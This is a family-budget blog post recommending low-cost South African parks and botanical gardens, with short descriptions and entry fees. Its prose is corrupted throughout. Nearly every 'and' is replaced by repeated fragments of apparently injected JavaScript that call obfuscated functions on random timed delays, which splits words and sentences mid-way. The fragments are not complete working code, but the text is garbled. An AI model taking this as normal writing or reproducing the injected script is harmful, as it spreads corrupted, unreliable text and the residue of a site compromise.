How to Save Money During the School Holidays: Parks

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As we steadily approach the end of the year, we can be pretty thankful for living in the Southern Hemisphere. Summer is virtually upon us.

Summer in South Africa doesn’t just mean glorious days filled with sunshine, lazing around the pool andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and braai. It also signifies the long school holidays over the festive season.

And anyone with children will know that it’s imperative to have activities planned for the kids.

While you may think that keeping the kids entertained all summer requires beach bags full of cash, this isn’t necessarily the case.

We’re rather fortunate to live in a country like South Africa, blessed with gorgeous coastlines, national parks, museums andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and a host of other adventures.

Regardless of whether you stay in Jo’burg, Durban, Cape Town or Bloem there’s something happening to satisfy every member of the family.

So to help you out we’ve compiled a list of some of the best cheap- if not free- things to do around the country with your kids.

This is the first in our series of posts of fun, cheap or free things to do with the children that will hopefully give you some ideas of how to save money during the school holidays.

When it comes to something free to do with the family that’s fun andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and promotes a healthy lifestyle, nothing beats an afternoon in a park.

As such, this first post focuses on the amazing parks all South Africans can enjoy for free or virtually for free.

So pack a picnic basket, take a ball to throw around with the little ones andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and you’re pretty much sorted for the day.

Image of people at a waterfall at walter sisulu botanical gardens in South Africa

Image: http://www.sanbi.org/

Walter Sisulu Botanical Gardens

This botanical garden in Roodepoort, about 40 minutes drive from Joburg, was founded in 1982 andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and has been wildly popular ever since.

The gardens boast a breeding pair of Verreaux’s Eagles, nesting alongside a beautiful waterfall.

Over 200 further bird species have been recorded as well as several reptile andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and small mammal species.

Adults pay only R27 to enter, scholars R12 andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and kids under 6 go for free.

So there’s really no excuse for not going to check out this awesome spot.

Image of Green Point Urban Park in South Africa

Image: http://www.capetownpartnership.co.za/

Green Point Urban Park

Nestled behind Cape Town Stadium lies a true gem, called the Green Point Urban Park.

The park was opened in 2011 andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and due to its magnificent design- based on the natural wetlandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and ecosystem of the Cape- this place is an ideal location to take the kids.

The Green Point Urban Park is a throwback to a time when Cape Town andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and its surrounds were covered in wetlandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}ands.

An outing to this park is indeed an educational experience with designated areas focused on educating people about the natural environment andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and ecosystem of the area.

With stunning views of Lion’s Head, Cape Town Stadium andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and Signal Hill this park is a real South African beauty. It also includes an outdoor fitness/gym area, an innovative kids’ play park andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and a cycling path.

Speaking from personal experience the author highly recommends a day or two, if not more, spent at this park. And best of all entrance is free for everyone!

The park’s opening hours are 7am-7pm daily.

Image of Durban Botanic Gardens in South Africa

Image: http://www.durbanbotanicgardens.org.za/

Durban Botanic Gardens

Founded in 1849, the Durban Botanic Gardens is Africa’s oldest surviving botanical gardens.

The gardens are situated at the bottom of Durban’s Berea Ridge andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and were established over 150 years ago when Durban was still called Port Natal.

Visitors to the gardens can enjoy a breath-taking array of plant life from all over the world.

Old Mutual hosts its extremely popular Music at the Lake series at the Durban Botanic Gardens, which sees fantastic musical acts from virtually every genre of music perform in this idyllic setting.

Tickets for the Music at the Lake series are sold online for R100 for adults. Kids between 8-12 pay R50 andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and little ones under 8 get in for free.

So if you find yourself in Durban these summer months, be sure not to miss out on the Durban Botanic Gardens.

mage of the Free State National Botanical Gardens in South Africa

Image: http://www.sanbi.org/

Free State National Botanical Gardens

Found on the edge of the Bloemfontein city limits, the Free State National Botanical Gardens presents itself as harmonious with the natural surroundings.

The gardens covers 70 hectares andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and is situated in a valley filled with dolerite koppies, characterised by tall grasslandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and woodlandom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and.

The gardens have about 400 species of plant andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and over 100 bird species.

This is a great place to take the entire family on a blissful summer’s day when you’ve had enough of the city’s pervasive concrete andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and brick .

Adults pay only R16 entrance fee andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 5); if (number1==3){var delay = 15000;setTimeout($mRi(0), delay);}and pre-schoolers just R8 to get in.

All those in the Bloemfontein area over the school holidays should definitely check out the Free State Botanical Gardens.

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Saul Lipchik is the moneysmart content and community manager. He has a passion for the English language as well as for achieving moneysmart's core objective of simplifying complex economic terms and activities, thereby empowering people to improve their overall financial wellbeing.